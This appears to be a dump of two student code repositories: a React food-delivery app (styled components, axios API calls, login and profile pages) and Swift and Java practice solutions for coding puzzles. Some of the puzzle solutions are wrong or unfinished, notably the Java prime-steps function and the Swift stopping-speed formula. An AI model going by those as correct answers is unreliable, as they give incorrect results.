alturas porque foi pedido que não importasse o tamanho da tela, que a altura deveria ser sempre a mesma export const CartCardContainer = styled.div` height: 112px; border: grey 1px solid; margin: 1vh auto; width: 91.111vw; margin: 8px auto; border-radius: 8px; display: flex; overflow: hidden; `; export const ContainerImg = styled.div` height: 100%; width: 30%; `; export const CardImg = styled.img` object-fit: fill; height: 100%; width: 100%; `; export const ProductName = styled.p` margin-top: 18px; font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.39px; color: #5cb646; `; export const TextContainer = styled.div` display: flex; flex-flow: column wrap; width: 70%; justify-content: space-between; margin-left: 5%; `; export const ProductDetails = styled.p` font-family: Roboto; font-size: 12px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.29px; color: #b8b8b8; `; export const ActionButton = styled.button` border: ${(props) => props.borda}; background-color: white; border-top-left-radius: 8px; border-bottom-right-radius: 8px; height: 31px; width: 25vw; font-family: Roboto; font-size: 12px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.29px; text-align: center; color: ${(props) => props.cor}; `; export const ContainerQuant = styled.div` width: 9.167vw; height: 9.167vw; border-radius: 0 8px 0 8px; border: solid 2px #5cb646; display: ${(props) => props.display}; justify-content: center; align-items: center; z-index: 2; `; export const ProductQuant = styled.p` font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108vw; text-align: center; color: #5cb646; `; export const Price = styled.p` font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.39px; color: #000000; `; export const BottomContainer = styled.div` display: flex; width: 100%; justify-content: space-between; margin-top: 7px; `; export const CabecalhoCard = styled.div` display: flex; width: 100%; margin-bottom: 8px; justify-content: space-between; `; export const UpperContainer = styled.div` height: 65%; `; <file_sep>import axios from "axios"; let baseUrl = "https://us-central1-missao-newton.cloudfunctions.net/futureEatsB"; let token = window.localStorage.getItem("token"); const buscaAndamentoPedido = (andamento) =>({ type: "VER_ANDAMENT0", isWaiting: andamento, }) const buscaRestaurantes = (restaurantes) => ({ type: "PEGA_RESTAURANTES", restaurants: restaurantes, }); const buscaProdutos = (produtos) => ({ type: "PEGA_PRODUTOS", products: produtos, }); const apareceLoading = (mostraLoad) => ({ type: "LOADING", isOpen: mostraLoad, }) const buscaEndereco = (endereco) => ({ type: "PEGA_ENDERECO", endereco: endereco, }); export const pegaRestaurantes = async (dispatch) => { try { const response = await axios.get(`${baseUrl}/restaurants`, { headers: { auth: token, }, }); dispatch(buscaRestaurantes(response.data.restaurants)); } catch (err) { console.log(err); } }; //export const pegaAndamentoPedido = async (dispatch) => { // try { // const response = await axios.get(`${baseUrl}/active-order`, { // headers: { // auth: token, // }, // }); // dispatch(buscaAndamentoPedido(response.data.order)); // } catch (err) { // console.log(err); // } //}; export const pegaProdutos = async (id, dispatch) => { try { const response = await axios.get(`${baseUrl}/restaurants/${id}`, { headers: { auth: token, }, }); dispatch(buscaProdutos(response.data.restaurant)); } catch (err) { console.log(err); } }; export const pegaEndereço = async (dispatch) => { const response = await axios.get(`${baseUrl}/profile/address`, { headers: { auth: token, }, }); return response.data.address; }; export const getProfile = async () => { const response = await axios.get(`${baseUrl}/profile`, { headers: { auth: token, }, }); return response.data.user; }; export const upDateProfile = (form, dispatch) => { dispatch(apareceLoading(true)) const body = form; axios .put(`${baseUrl}/profile`, body, { headers: { "Content-Type": "application/json", auth: token }, }) .then((res) => {dispatch(apareceLoading(false)); console.log(res.data)}) .catch((err) => console.log(err.data)); }; export const upDateAddress = (form, dispatch) => { dispatch(apareceLoading(true)) const body = form; axios .put(`${baseUrl}/address`, body, { headers: { auth: token }, }) .then((res) => {dispatch(apareceLoading(false)); window.localStorage.setItem("token", res.data.token)}); window.alert("Cadastro atualizado com sucesso"); }; export const login = (body, history) => { axios .post( "https://us-central1-missao-newton.cloudfunctions.net/futureEatsB/login", body ) .then((response) => { localStorage.setItem("token", response.data.token); history.replace("/home"); }); }; export const registro = (body, history) => { axios .post( "https://us-central1-missao-newton.cloudfunctions.net/futureEatsB/signup", body ) .then((response) => { console.log(response.data.token); localStorage.setItem("token", response.data.token); history.push("/cadastro-endereco"); }) .catch((error) => { console.log(error.response); alert("erro dados invalidos"); }); }; <file_sep>import styled from 'styled-components'; export const ButtonContainer = styled.div` display: flex; align-items: center; justify-content: center; width: 100vw; height: 8vh; ` export const ButtonElement = styled.button` background-color: ${props => props.active ? "#5cb646" : "rgba(92, 182, 70, 0.5)"}; color: black; width: 91.11vw; height: 6.5625vh; border: none; border-radius: 5px; font-family: Roboto; `<file_sep>import { TextField } from '@material-ui/core'; import styled from 'styled-components'; export const Text = styled(TextField)` width: 91.11vw; `<file_sep>import React, { useEffect, useState } from "react"; import { createMuiTheme, ThemeProvider } from "@material-ui/core/styles"; import { useHistory } from "react-router"; import { Container, Imagem, ContainerInput, Paragrafo, Input, Botao, Paragrafo2, Senha, } from "./styles"; import Button from "../../Components/Button"; import logo from "../../img/logo-invertido.png"; import { Linki } from "./styles"; import { login } from "../../functions/integracao"; import Loading from "./../../Components/Loading/Loading"; const MyTheme = createMuiTheme({ palette: { primary: { main: "#b8b8b8", contrastText: "#b8b8b8", }, }, }); const Login = () => { const [email, setEmail] = useState(""); const [senha, setSenha] = useState(""); const [botaoAtivo, setBotaoAtivo] = useState(false); const [open, setOpen] = useState(false); const history = useHistory(); useEffect(() => { if (email !== "" && senha !== "") { setBotaoAtivo(true); } else { setBotaoAtivo(false); } }, [email, senha]); const inputEmail = (event) => { setEmail(event.target.value); }; const inputSenha = (event) => { setSenha(event.target.value); }; const enviarInputs = () => { setOpen(true); const body = { email: email, password: <PASSWORD>, }; login(body, history); }; return ( <ThemeProvider theme={MyTheme}> <Container> <Imagem src={logo} /> <Paragrafo>Entrar</Paragrafo> <ContainerInput> <Input onChange={inputEmail} placeholder="<EMAIL>" type="text" value={email} required label="E-mail" variant="outlined" /> <Senha onChange={inputSenha} label="Senha" value={senha} placeholder="Minimo 6 caracteres" /> <Button active={botaoAtivo} title={"Entrar"} onClick={enviarInputs} type="submit" > Entrar </Button> </ContainerInput> <Paragrafo2> Nao possui cadastro?<Linki to="/registro">&nbsp; Clique aqui</Linki> </Paragrafo2> <Loading openLoading={open} /> </Container> </ThemeProvider> ); }; export default Login; <file_sep>import styled from 'styled-components'; export const AlertaContainer = styled.div` width: 100vw; height: 18.438vh; background-color: #5cb646; position: fixed; z-index: 9998; bottom: 7vh; display: grid; grid-template-columns: 22% 78%; ` export const IconeRelogio = styled.img` width: 5vh; height: 5vh; margin-left: 6.667vw; margin-top:6.875vh; ` export const Pedido = styled.p` font-family: Roboto; margin-top:3.75vh; margin-bottom: 1.25vh; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108px; color: #ffffff; ` export const Restaurante = styled.p` font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108px; color: #000000; ` export const Total = styled.p` margin-top: 1.25vh; font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108px; color: #000000; `<file_sep>import React, { useReducer } from "react"; import { CartCardContainer, CardImg, ProductName, TextContainer, ProductDetails, Price, ActionButton, BottomContainer, UpperContainer, ContainerImg, CabecalhoCard, ContainerQuant, ProductQuant, } from "./styles"; function CartCard(props) { return ( <CartCardContainer> <ContainerImg> <CardImg src={props.foto} alt="Foto Produto" /> </ContainerImg> <TextContainer> <UpperContainer> <CabecalhoCard> <ProductName>{props.nome}</ProductName> <ContainerQuant display={props.tituloBotao === 'adicionar' ? 'none' : 'flex'}> <ProductQuant>{props.quantidade}</ProductQuant> </ContainerQuant> </CabecalhoCard> <ProductDetails>{props.descricao}</ProductDetails> </UpperContainer> <BottomContainer> <Price>R${props.preco}</Price> <ActionButton borda={props.borda} cor={props.tituloBotao === 'adicionar' ? '#5cb646' : '#e02020'} onClick={props.onClick} > {props.tituloBotao} </ActionButton> </BottomContainer> </TextContainer> </CartCardContainer> ); } export default CartCard; <file_sep>import styled from "styled-components"; export const NameText = styled.p` font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108vw; color: #000000; `; export const BasicInfoText = styled.p` font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108vw; color: #000000; margin-bottom: 1.250vh; `; export const StreetText = styled.p` font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108vw; color: #000000; `; export const AdressContainer = styled.div` background-color: #eeeeee; display: flex; flex-direction: column; justify-content: center; margin-top: 1.250vh; padding: 0 4.444vw; height:11.875vh; `; export const BotaoEdit = styled.button` background: none; border: none; `; export const UpperContainer = styled.div` display: flex; justify-content: space-between; margin: 2.5vh 4.444vw 0 4.444vw; `; export const Endereço = styled.p` color: #b8b8b8; `; export const LowerContainer = styled.div` margin: 0 4.444vw; `; export const AdressLowerContainer = styled.div` display: flex; justify-content: space-between; align-items: center; `; export const PedidosText = styled.p` border-bottom: 1px solid black; padding-bottom: 1.25vh; font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108vw; color: #000000; margin: 2.5vh 4.444vw 0 4.444vw; `; export const ProfileContainer = styled.div` height: 90vh; margin: 1vh auto; `; export const HistoricoContainer = styled.div` display: flex; flex-direction: column; `; <file_sep>import React from "react"; import { HistoricoContainer, StoreName, Data, Valor } from "./styles"; function CardHistorico() { return ( <HistoricoContainer> <StoreName variant="h6"><NAME></StoreName> <Data variant="caption">12 outubro 2020</Data> <Valor variant="h6">SUBTOTAL R$ 25,00</Valor> </HistoricoContainer> ); } export default CardHistorico; <file_sep>import React, { useState, useEffect, useContext } from "react"; import "./Busca.css"; import CardRestaurant from "../../Components/FeedCard/index"; import CardContext from "../../functions/CardContext" import Header from "../../Components/Header/index"; import OutlinedInput from '@material-ui/core/OutlinedInput'; import InputAdornment from '@material-ui/core/InputAdornment'; import SearchIcon from '@material-ui/icons/Search'; import clsx from 'clsx'; import { makeStyles, createMuiTheme, ThemeProvider, withStyles } from "@material-ui/core/styles"; /*comentario de teste*/ const useStyles = makeStyles((theme) => ({ textField: { width: '91.111vw', marginTop: '1.25vh', marginLeft: '4.44vw' }, })); const MyTheme = createMuiTheme({ palette: { primary: { main: "#b8b8b8", contrastText: "#b8b8b8", light: "rgba(92, 182, 70, 0.5)", }, }, }); const Busca = (props) => { const buscaContext = useContext(CardContext) /*Estado para atualização e armazenamento do valor recebido via input*/ const [inputValue, setInputValue] = useState('') /*Estado para atualização e armazenamento do valor recebido via input*/ const classes = useStyles(); /*Captura de dados recebidos via input*/ const onChangePegaInputValue = (event) => { setInputValue(event.target.value) } /*Captura de dados recebidos via input*/ /*Lógica de busca*/ const searchResult = buscaContext.restaurantes .filter((restaurantes) => { return restaurantes.name.toLocaleLowerCase().includes(inputValue); }) .map((restaurante) => { return ( <CardRestaurant foto={restaurante.logoUrl} idRest={restaurante.id} nome={restaurante.name} demora={restaurante.deliveryTime} frete={restaurante.shipping.toFixed(2).replace(".", ",")} /> ); }); /*Lógica de busca*/ return ( <ThemeProvider theme={MyTheme}> <div className='telatoda'> <Header title={'Busca'} back/> <OutlinedInput className={clsx(classes.textField)} variant="outlined" placeholder="Restaurantes..." type="text" value={inputValue} onChange={onChangePegaInputValue} startAdornment={ <InputAdornment position="start"> <SearchIcon/> </InputAdornment> } /> <div className="Result-Wrapper"> { inputValue!==""? searchResult : <div className="Result-Wrapper"><p>Busque por nome do restaurante</p></div> } </div> </div> </ThemeProvider> ); }; /*AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA*/ /*AAAAAAAAAAAAAAAAAA*/ export default Busca;<file_sep>import styled from "styled-components"; import { Typography } from "@material-ui/core"; //usarei px nas alturas porque foi pedido que não importasse o tamanho da tela, que a altura deveria ser sempre a mesma export const FeedCardContainer = styled.div` border: solid 1px #b8b8b8; width: 91.111vw; height: 188px; border-radius: 8px; overflow: hidden; margin-bottom: 8px; `; export const ProductImg = styled.img` object-fit: fill; min-width: 100%; min-height: 100%; max-width: 100%; max-height: 100%; `; export const ContainerImg = styled.div` width: 100%; overflow: hidden; height: 60%; `; export const StoreName = styled(Typography)` height: 18px; font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.10833vw; color: #5cb646; grid-area: 1/1/2/2; `; export const TextContainer = styled.div` display: grid; grid-template-columns: 2fr 1fr; grid-template-rows: 1fr 1fr; margin: 12px 4.444vw 0 4.444vw; row-gap: 4px; `; export const OrderDetailsDem = styled.span` color: #b8b8b8; grid-area: 2/1/3/2; `; export const OrderDetailsFre = styled.span` color: #b8b8b8; grid-area: 2/2/3/3; text-align: end; `; <file_sep>import styled from "styled-components"; import { TextField } from "@material-ui/core"; import Password from "../../Components/InputPassword"; import { Link } from "react-router-dom"; export const Container = styled.div` width: 100vw; height: 100vw; margin-left: auto; margin-right: auto; `; export const Imagem = styled.img` display: flex; justify-content: center; margin-top: 13.75vh; margin-left: auto; margin-right: auto; `; export const ContainerInput = styled.div` display: grid; justify-items: center; grid-auto-columns: 1fr; grid-gap: 2.5vh; `; export const Paragrafo = styled.p` display: flex; justify-content: center; margin-top: 4.38vh; margin-bottom: 2.6vh; font-size: 1em; padding: 12px; `; export const Input = styled(TextField)` width: 91.11vw; height: 8.75vh; margin-top: 2.5vh; margin-right: 4.44vw; margin-left: 4.44vw; `; export const Paragrafo2 = styled.p` display: flex; margin-top: 4.38vh; justify-content: center; `; export const Senha = styled(Password)` width: 91.11vw; height: 8.75vh; margin-top: 2.5vh; margin-right: 4.44vw; margin-left: 4.44vw; `; export const Linki = styled(Link)` text-decoration: none; `; <file_sep>import styled from "styled-components"; import Select from "@material-ui/core/Select"; import Button from "@material-ui/core/Button"; export const TituloDialog = styled.p` font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108px; text-align: center; color: #000000; margin: 6.719vh 9vw 4.844vh 9vw; `; export const Botao = styled(Button)` span { color: #5cb646; } `; export const SelecionaQtdade = styled(Select)` width: 68vw; `; export const RestauranteContainer = styled.div` overflow-x: hidden; padding: 0 4.444vw; max-width: 99vw; `; export const UpperRestaurantContainer = styled.div` margin: 2.656vh 0 1.875vh 0; border-radius: 8px; `; export const ContainerImg = styled.div` height: 18.75vh; border-radius: 8px 8px 0 0; overflow: hidden; `; export const ResturanteImg = styled.img` object-fit: fill; min-width: 100%; min-height: 100%; max-width: 100%; max-height: 100%; `; export const RestaurantTitle = styled.p` font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108px; color: #5cb646; margin-top: 1.875vh; `; export const RestaurantDetails = styled.p` font-family: Roboto; font-size: 16px; font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108px; color: #b8b8b8; `; export const RestaurantDetailsFrete = styled.p` font-weight: normal; font-stretch: normal; font-style: normal; line-height: normal; letter-spacing: -0.108px; color: #b8b8b8; margin-left: 5vw; `; export const DetailsMidContainer = styled.div` display: flex; justify-content: start; margin: 1.25vh 0; `; export const SectionText = styled.p` border-bottom: 1px solid black; margin-top: 2.5vh; padding-bottom: 1.25vh; `;
970e510a7293c997acb9b66822b1c3fe500f23e0
[ "JavaScript", "Markdown" ]
25
JavaScript
gislainecosta/futureEats
bafa4781494cb5dd63d5273ad2779df50c6b6321
d04f68986766dc49326f30c8528f46aae651d7be
refs/heads/master
<file_sep>// tslint:disable /// <reference path="../../../definitions/Q.d.ts" /> /// <reference path="../../../definitions/vso-node-api.d.ts" /> /// <reference path="../../../definitions/node.d.ts" /> <file_sep>{ "name": "vsts-tasks-jenkinsqueuejob", "dependencies": { "request": "^2.65.0", "vsts-task-lib": "0.8.5" } }
2bc8f294eff90ad1e2b8e2c6588b5aaad32dab84
[ "JSON", "TypeScript" ]
2
TypeScript
andremarques023/vsts-tasks
cf245e9b031a110033a7d8ec89d30c43e894aafb
463b24da1070f4d3d34d86c9a626202474e0e30f
refs/heads/main
<file_sep>import UIKit func dontGiveMeFive(_ start: Int, _ end: Int) -> Int { var arr = (start...end).map {$0} let newArray = arr.filter {String($0).contains(String(5))} for i in newArray { arr.removeAll() {$0 == i} } return arr.count } dontGiveMeFive(4, 17) //MARK:- Easier method var arr = [1,2,3,4,5,6,7,8,9,15] // // let newArr = (0...16).filter {!String($0).contains(String(5))} print(newArr) <file_sep>package day_5; import java.util.Arrays; import java.util.List; import static java.util.stream.IntStream.range; /* The input is a string str of digits. Cut the string into chunks (a chunk here is a substring of the initial string) of size sz (ignore the last chunk if its size is less than sz). If a chunk represents an integer such as the sum of the cubes of its digits is divisible by 2, reverse that chunk; otherwise rotate it to the left by one position. Put together these modified chunks and return the result as a string. If sz is <= 0 or if str is empty return "" sz is greater (>) than the length of str it is impossible to take a chunk of size sz hence return "". Examples: revrot("123456987654", 6) --> "234561876549" revrot("123456987653", 6) --> "234561356789" revrot("66443875", 4) --> "44668753" revrot("66443875", 8) --> "64438756" revrot("664438769", 8) --> "67834466" revrot("123456779", 8) --> "23456771" revrot("", 8) --> "" revrot("123456779", 0) --> "" revrot("563000655734469485", 4) --> "0365065073456944" public static String revRot(String strng, int sz) { if ((sz==0) || (strng == "") || (sz > strng.length())) return ""; // INVALID CASES -> Return empty string String result = ""; // this string will contain the result to be returned for (int i = 0; i < (strng.length()/sz); i++){ // for each chunk of sz elements String chunk = strng.substring(i*sz, i*sz + sz); int digitSum = 0; // Because our final goal is to determine if the digtSum is odd or even for (int j = 0; j < sz; j++){ // There is no need of summing the cubes of the numbers digitSum += Character.getNumericValue(chunk.charAt(j)); // odd^n remains odd, even^n remains even } // so the proportion of even and odd numbers remains the same if ((digitSum % 2) == 0){ // REVERSE CHUNK for (int k = sz-1; k >= 0; k--){ // by adding every character of the chunk to the result from right to left result += chunk.charAt(k); } }else{ // ROTATE CHUNK TO THE LEFT BY ONE POSITION result += chunk.substring(1) + chunk.charAt(0); // by adding the chunk to the result with its first character in the end } } return result; public static String revRot(String str, int sz) { Function<String, String> prd = s -> s.chars().map(c -> c - '0').sum() % 2 == 0 ? new StringBuilder(s).reverse().toString() : s.substring(1) + s.substring(0, 1); return Arrays.stream(str.split("(?<=\\G.{" + sz + "})")) .filter(s -> s.length() == sz) .map(s -> prd.apply(s)) .collect(Collectors.joining()); } */ public class ReverseOrRotate { public static void main(String[] args) { String str = "123456987654"; var seperated = List.of(str.split("")); System.out.println(seperated); String x = Arrays.toString(new String[]{str.substring(6)}); System.out.println(x); } public static String revRot(String strng, int sz) { if (strng.isEmpty() || sz <= 0 || sz > strng.length()) return ""; var ans = new StringBuilder(); for (int i = 0; i <= strng.length() - sz; i += sz) { var chunk = new StringBuilder(strng.substring(i, sz + i)); if (range(0, sz).mapToDouble(j -> Math.pow(chunk.charAt(j) - 48., 3)).sum() % 2 > 0) { ans.append(chunk.substring(1, sz)).append(chunk.charAt(0)); } else { ans.append(chunk.reverse()); } } return ans.toString(); } } <file_sep>import UIKit let num = 1928 let convNum = String(num).reversed() for (key, value) in convNum.enumerated() { let intValue = Int(String(value))! let doubleKey = Double(key) let placeValue = pow(10.0, doubleKey) let result = Int(placeValue) * intValue print(result) } //MARK:- USING JAVASCRIPT TO SOLVE IT /*var num = 100 var lookup = {M:1000,CM:900,D:500,CD:400,C:100,XC:90,L:50,XL:40,X:10,IX:9,V:5,IV:4,I:1}; var roman = ''; var i; for ( i in lookup ) { console.log(i) while ( num >= lookup[i] ) { roman += i; num -= lookup[i]; } } console.log(roman)*/ <file_sep>import UIKit public func solution(_ N : Int) -> Int { let binary = String(N, radix: 2) var arr: [Int] = [] for (index, value) in binary.enumerated() { if value == "1" { arr.append(index) } } var final = Array<Int>() for i in 0..<arr.count - 1 { let res = (arr[i+1] - arr[i]) - 1 if res == 0 { continue } print(res) final.append(res) } return (Int(final.max() ?? 0)) } solution(529) <file_sep>import UIKit /*Usually when you buy something, you're asked whether your credit card number, phone number or answer to your most secret question is still correct. However, since someone could look over your shoulder, you don't want that shown on your screen. Instead, we mask it. Your task is to write a function maskify, which changes all but the last four characters into '#'. Examples Input Output Comments "4556364607935616" "############5616" "64607935616" "#######5616" "1" "1" No #s if less than 4 characters "" "" Make sure to handle empty strings "Skippy" "##ippy" Documentation maskify(cc) Parameters: cc: String A string of any characters. Guaranteed Cons*/ func maskify(_ letter: String) -> String { var newStr: String = "" if letter.isEmpty { return letter } else if letter.count <= 4 { return letter } else { let lenOfHash = letter.count - 4 let numHash = String(repeating: "#", count: lenOfHash) newStr += numHash + letter.suffix(4) return newStr } } maskify("4556364607935616") <file_sep>package day_1; import java.util.Arrays; /* Find the sum of the odd numbers within an array, after cubing the initial integers. The function should return undefined/None/nil/NULL if any of the values aren't numbers. Note: There are ONLY integers in the JAVA and C# versions of this Kata. */ public class FindOddCubes { public static void main(String[] args) { System.out.println(cubeOdd(new int[] {1, 2, 3, 4})); } public static int cubeOdd(int[] arr) { return Arrays.stream(arr) .map(n -> n*n*n) .filter(n -> n % 2 != 0) .sum(); } } <file_sep>import UIKit //Mark:- BMI Calculator /*Write function bmi that calculates body mass index (bmi = weight / height2). if bmi <= 18.5 return "Underweight" if bmi <= 25.0 return "Normal" if bmi <= 30.0 return "Overweight" if bmi > 30 return "Obese" */ func bmi(_ weight: Int, _ height: Double) -> String { let result = Double(weight) / (pow(height, 2)) switch true { case result <= 18.5: return("Underweight") case result <= 25.0: return("Normal") case result <= 30.0: return("Overweight") default: return("Obese") } } bmi(50, 1.8) <file_sep>import UIKit /*You have to search all numbers from inclusive 1 to inclusive a given number x, that have the given digit d in it. The value of d will always be 0 - 9. The value of x will always be greater than 0. You have to return as an array the count of these numbers, their sum and their product. For example: x = 11 d = 1 -> Numbers: 1, 10, 11 Return: [3, 22, 110] If there are no numbers, which include the digit, return [0,0,0].*/ // //typealias Long = Int64 // //func numbersWithDigitInside(_ x:Long, _ d: Long) -> [Long] { // // // the parameters to what I can understand // // let check = x // // let secondNum = String(d) // var result = [String]() // // // check is x // // for i in (0...check) { // result.append(String(i)) // // } // // if secondNum == "0" { // result.removeFirst() // } // // //count is d // var newArr = [Long]() // var count: Long = 0 // for i in result { // if i.contains(secondNum) { // newArr.append(Long(i)!) // count += 1 // } // } // // var newestArr = [Long]() // for i in newArr { // if i == 0 { // continue // } else { // newestArr.append(i) // } // } // print(newestArr) // let multiplyResult: Long; // if newestArr == [] { // multiplyResult = newestArr.reduce(0, *) // } else { // multiplyResult = newestArr.reduce(1, *) // } // // // // let addResult = newestArr.reduce(0, +) // // let finalResult = [count, addResult, multiplyResult] // //// print("The count of 1 is \(count)") //// print("The added result of 1 is \(addResult)") //// print("The multiplied result of 1 is \(multiplyResult)") //// //// //// //// print(finalResult) // return finalResult // //} // MARK:- Easier Method func numbersWithDigitInside1(_ x: Int64, _ d: Int64) -> [Int64] { let numbers = (1...x).filter {String($0).contains(String(d))} print(numbers) return [Int64(numbers.count), numbers.reduce(Int64(0), +), numbers.count > 0 ? numbers.reduce(Int64(1), *) : Int64(0)] } numbersWithDigitInside1(11,1) /*numbersWithDigitInside(5,6), [0, 0, 0]) numbersWithDigitInside(7,6), [1, 6, 6] numbersWithDigitInside(11,1), [3, 22, 110] numbersWithDigitInside(20,0), [2, 30, 200] numbersWithDigitInside(44,4), [9, 286, 5955146588160]*/ <file_sep>import UIKit /* Braking distance d1 is the distance a vehicle will go from the point when it brakes to when it comes to a complete stop. It depends on the original speed v and on the coefficient of friction mu between the tires and the road surface. The braking distance is one of two principal components of the total stopping distance. The other component is the reaction distance, which is the product of the speed and the perception-reaction time of the driver. The kinetic energy E is 0.5*m*v**2, the work W given by braking is mu*m*g*d1. Equalling E and W gives the braking distance: d1 = v*v / 2*mu*g where g is the gravity of Earth and m the vehicle's mass. We have v in km per hour, g as 9.81 m/s/s and in the following we suppose that the reaction time is constant and equal to 1 s. The coefficient mu is dimensionless. Tasks. The first one is to calculate the total stopping distance in meters given v, mu (and the reaction time t = 1). dist(v, mu) -> d = total stopping distance The second task is to calculate v in km per hour knowing d in meters and mu with the supposition that the reaction time is still t = 1. speed(d, mu) -> v such that dist(v, mu) = d. Examples: dist(100, 0.7) -> 83.9598760937531 speed(83.9598760937531, 0.7) -> 100.0 Notes: Remember to convert the velocity from km/h to m/s or from m/s in km/h when necessary. Don't forget the reaction time t: t = 1 Don't truncate or round your results. See in "RUN SAMPLE TESTS" the function assertFuzzyEquals or dotest or .... Shell: only dist is tested. */ //MARK:- SOLUTION func dist(_ v: Double, _ mu: Double) -> Double { let newV = (v * 1000) / 3600 let result = pow(newV, 2.0) / (2 * mu * 9.81) let total = newV + result return total } let d1 = dist(100, 0.7) func speed(_ d: Double, _ mu: Double) -> Double { let speed = (-9.81 * mu) - sqrt((pow(9.81, 2) * pow(mu, 2)) + (2 * 9.81 * mu * d )) return speed } speed(83.9598760937531, 0.7) <file_sep>package day_4; /* Take an integer n (n >= 0) and a digit d (0 <= d <= 9) as an integer. Square all numbers k (0 <= k <= n) between 0 and n. Count the numbers of digits d used in the writing of all the k**2. Call nb_dig (or nbDig or ...) the function taking n and d as parameters and returning this count. Examples: n = 10, d = 1 the k*k are 0, 1, 4, 9, 16, 25, 36, 49, 64, 81, 100 We are using the digit 1 in: 1, 16, 81, 100. The total count is then 4. nb_dig(25, 1) returns 11 since the k*k that contain the digit 1 are: 1, 16, 81, 100, 121, 144, 169, 196, 361, 441. So there are 11 digits 1 for the squares of numbers between 0 and 25. Note that 121 has twice the digit 1. */ import java.util.stream.IntStream; public class CountTheDigit { public static void main(String[] args) { System.out.println(IntStream.rangeClosed(0, 10).flatMap(a -> (""+ a * a).chars()).filter(a -> a == 1 + '0').count()); } public static int nbDig(int n, int d) { return Math.toIntExact(IntStream.rangeClosed(0, n) .flatMap(a -> ("" + a * a).chars()) .filter(a -> a == (d + '0')) .count()); } } <file_sep>package day_5; /* Find the total sum of internal angles (in degrees) in an n-sided simple polygon. N will be greater than 2. */ public class SumOfAngles { public static int sumOfAngles(int n) { return (n - 2) * 180; } } <file_sep>import UIKit func amort(_ rate: Double, _ balance: Double, _ term: Int, _ numPayments: Int) -> String { var newBalance = balance var c: Double var n: Double var r: Double var princ: Double var d: Double var interest: Double r = rate / 1200 d = 1 - (pow((1 + r), -Double(term))) print(d) n = r * balance print(n) c = n/d print(c) interest = balance * r print(interest) princ = c - interest print(princ) for _ in 1...numPayments { interest = newBalance * r princ = c - interest newBalance -= (princ) } print("num_payment \(numPayments) c \(Int(round(c))) princ \(Int(round(princ))) int \(Int(round(interest))) balance \(Int(round(newBalance)))") return "num_payment \(numPayments) c \(Int(round(c))) princ \(Int(round(princ))) int \(Int(round(interest))) balance \(Int(round(newBalance)))" } // testing(7.4, 10215, 24, 20, "num_payment 20 c 459 princ 445 int 14 balance 1809") //testing(7.9, 107090, 48, 41, "num_payment 41 c 2609 princ 2476 int 133 balance 17794") amort(7.4, 10215, 24, 20) <file_sep>import UIKit let a1 = ["live", "arp", "strong"] let a2 = ["lively", "alive", "harp", "sharp", "armstrong"] func inArray(_ a1: [String], _ a2: [String]) -> [String] { var newArr: [String] = [] for i in a1 { for j in a2 { if j.contains(i){ newArr.append(i) } else { continue } } } let result = Set(newArr) return Array(result).sorted() } inArray(a1, a2) <file_sep>package day_6; import java.util.ArrayList; import java.util.Arrays; import java.util.List; /* The prime numbers are not regularly spaced. For example from 2 to 3 the step is 1. From 3 to 5 the step is 2. From 7 to 11 it is 4. Between 2 and 50 we have the following pairs of 2-steps primes: 3, 5 - 5, 7, - 11, 13, - 17, 19, - 29, 31, - 41, 43 We will write a function step with parameters: g (integer >= 2) which indicates the step we are looking for, m (integer >= 2) which gives the start of the search (m inclusive), n (integer >= m) which gives the end of the search (n inclusive) In the example above step(2, 2, 50) will return [3, 5] which is the first pair between 2 and 50 with a 2-steps. So this function should return the first pair of the two prime numbers spaced with a step of g between the limits m, n if these g-steps prime numbers exist otherwise nil or null or None or Nothing or [] or "0, 0" or {0, 0} or 0 0(depending on the language). Examples: step(2, 5, 7) --> [5, 7] or (5, 7) or {5, 7} or "5 7" step(2, 5, 5) --> nil or ... or [] in Ocaml or {0, 0} in C++ step(4, 130, 200) --> [163, 167] or (163, 167) or {163, 167} See more examples for your language in "TESTS" Remarks: ([193, 197] is also such a 4-steps primes between 130 and 200 but it's not the first pair). step(6, 100, 110) --> [101, 107] though there is a prime between 101 and 107 which is 103; the pair 101-103 is a 2-step. Notes: The idea of "step" is close to that of "gap" but it is not exactly the same. For those interested they can have a look at http://mathworld.wolfram.com/PrimeGaps.html. A "gap" is more restrictive: there must be no primes in between (101-107 is a "step" but not a "gap". Next kata will be about "gaps":-). For Go: nil slice is expected when there are no step between m and n. Example: step(2,4900,4919) --> nil */ public class StepsInPrimes { public static void main(String[] args) { System.out.println(Arrays.toString(step(2, 5, 7))); } public static long[] step(int g, long m, long n) { var ans = new long[g]; for (long i=m;i<=n;i++){ if(i%2==1){ ans[g-1] = i; --g; } return ans; } return ans; } }
0a5c06eedc2ee0cd7f51a975558734b31f446665
[ "Swift", "Java" ]
14
Swift
brainox/daily_algorithm
c92d812593c54edde43c5be184002d6a955d8e34
c5664cbcf57d3ebc761e42ccd0902d862ef24172
refs/heads/master
